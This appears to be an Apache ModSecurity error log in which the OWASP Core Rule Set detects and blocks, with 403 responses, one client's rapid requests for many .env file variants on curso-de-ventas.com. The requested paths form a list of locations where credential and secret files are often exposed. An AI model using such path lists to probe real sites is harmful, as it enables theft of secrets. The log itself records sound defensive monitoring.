[Mon Oct 26 22:39:38.801164 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auAO6vYA9VE6YOVz3TBNuAAAABE"]
[Mon Oct 26 22:39:38.801381 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auAO6vYA9VE6YOVz3TBNuAAAABE"]
[Mon Oct 26 22:39:38.802510 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auAO6nfB5_cr2AuVp7R4GQAAABA"]
[Mon Oct 26 22:39:38.802650 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auAO6nfB5_cr2AuVp7R4GQAAABA"]
[Mon Oct 26 22:39:38.802896 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auAO6nfB5_cr2AuVp7R4GQAAABA"]
[Mon Oct 26 22:39:38.805032 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auAO6s8F3ZZVbqNCqKaAnwAAAAo"]
[Mon Oct 26 22:39:38.805160 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auAO6s8F3ZZVbqNCqKaAnwAAAAo"]
[Mon Oct 26 22:39:38.805435 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auAO6s8F3ZZVbqNCqKaAnwAAAAo"]
[Mon Oct 26 22:39:38.806252 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auAO6iOYJjK4Eh4U5Qme6gAAAAY"]
[Mon Oct 26 22:39:38.806379 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auAO6iOYJjK4Eh4U5Qme6gAAAAY"]
[Mon Oct 26 22:39:38.806611 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auAO6iOYJjK4Eh4U5Qme6gAAAAY"]
[Mon Oct 26 22:39:38.819290 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auAO6hQzMRo5zrQE7iykcgAAAAQ"]
[Mon Oct 26 22:39:38.819446 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auAO6hQzMRo5zrQE7iykcgAAAAQ"]
[Mon Oct 26 22:39:38.819721 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auAO6hQzMRo5zrQE7iykcgAAAAQ"]
[Mon Oct 26 22:39:38.873450 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auAO6ix89dM6HoCaCT-nhAAAABU"]
[Mon Oct 26 22:39:38.873660 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auAO6ix89dM6HoCaCT-nhAAAABU"]
[Mon Oct 26 22:39:38.874069 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auAO6ix89dM6HoCaCT-nhAAAABU"]
[Mon Oct 26 22:39:38.875030 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auAO6iOodMWIbKjvKGh78AAAABk"]
[Mon Oct 26 22:39:38.875160 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auAO6iOodMWIbKjvKGh78AAAABk"]
[Mon Oct 26 22:39:38.875466 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auAO6iOodMWIbKjvKGh78AAAABk"]
[Mon Oct 26 22:39:38.876366 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auAO6rtiWD9g5qPk3WNeQgAAAAc"]
[Mon Oct 26 22:39:38.876495 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auAO6rtiWD9g5qPk3WNeQgAAAAc"]
[Mon Oct 26 22:39:38.876727 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auAO6rtiWD9g5qPk3WNeQgAAAAc"]
[Mon Oct 26 22:39:38.877731 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auAO6lzBh5ooeihzFpChjwAAAAk"]
[Mon Oct 26 22:39:38.877881 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auAO6lzBh5ooeihzFpChjwAAAAk"]
[Mon Oct 26 22:39:38.878136 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auAO6lzBh5ooeihzFpChjwAAAAk"]
[Mon Oct 26 22:39:38.879014 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auAO6vYA9VE6YOVz3TBNuQAAABE"]
[Mon Oct 26 22:39:38.879138 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auAO6vYA9VE6YOVz3TBNuQAAABE"]
[Mon Oct 26 22:39:38.879391 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auAO6vYA9VE6YOVz3TBNuQAAABE"]
[Mon Oct 26 22:39:38.880368 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auAO6nfB5_cr2AuVp7R4GgAAABA"]
[Mon Oct 26 22:39:38.880492 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auAO6nfB5_cr2AuVp7R4GgAAABA"]
[Mon Oct 26 22:39:38.880728 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auAO6nfB5_cr2AuVp7R4GgAAABA"]
[Mon Oct 26 22:39:38.897262 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auAO6s8F3ZZVbqNCqKaAoAAAAAo"]
[Mon Oct 26 22:39:38.897453 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auAO6s8F3ZZVbqNCqKaAoAAAAAo"]
[Mon Oct 26 22:39:38.897756 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auAO6s8F3ZZVbqNCqKaAoAAAAAo"]
[Mon Oct 26 22:39:38.898533 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auAO6iOYJjK4Eh4U5Qme6wAAAAY"]
[Mon Oct 26 22:39:38.898659 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auAO6iOYJjK4Eh4U5Qme6wAAAAY"]
[Mon Oct 26 22:39:38.898911 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auAO6iOYJjK4Eh4U5Qme6wAAAAY"]
[Mon Oct 26 22:39:38.899567 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auAO6hQzMRo5zrQE7iykcwAAAAQ"]
[Mon Oct 26 22:39:38.899688 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auAO6hQzMRo5zrQE7iykcwAAAAQ"]
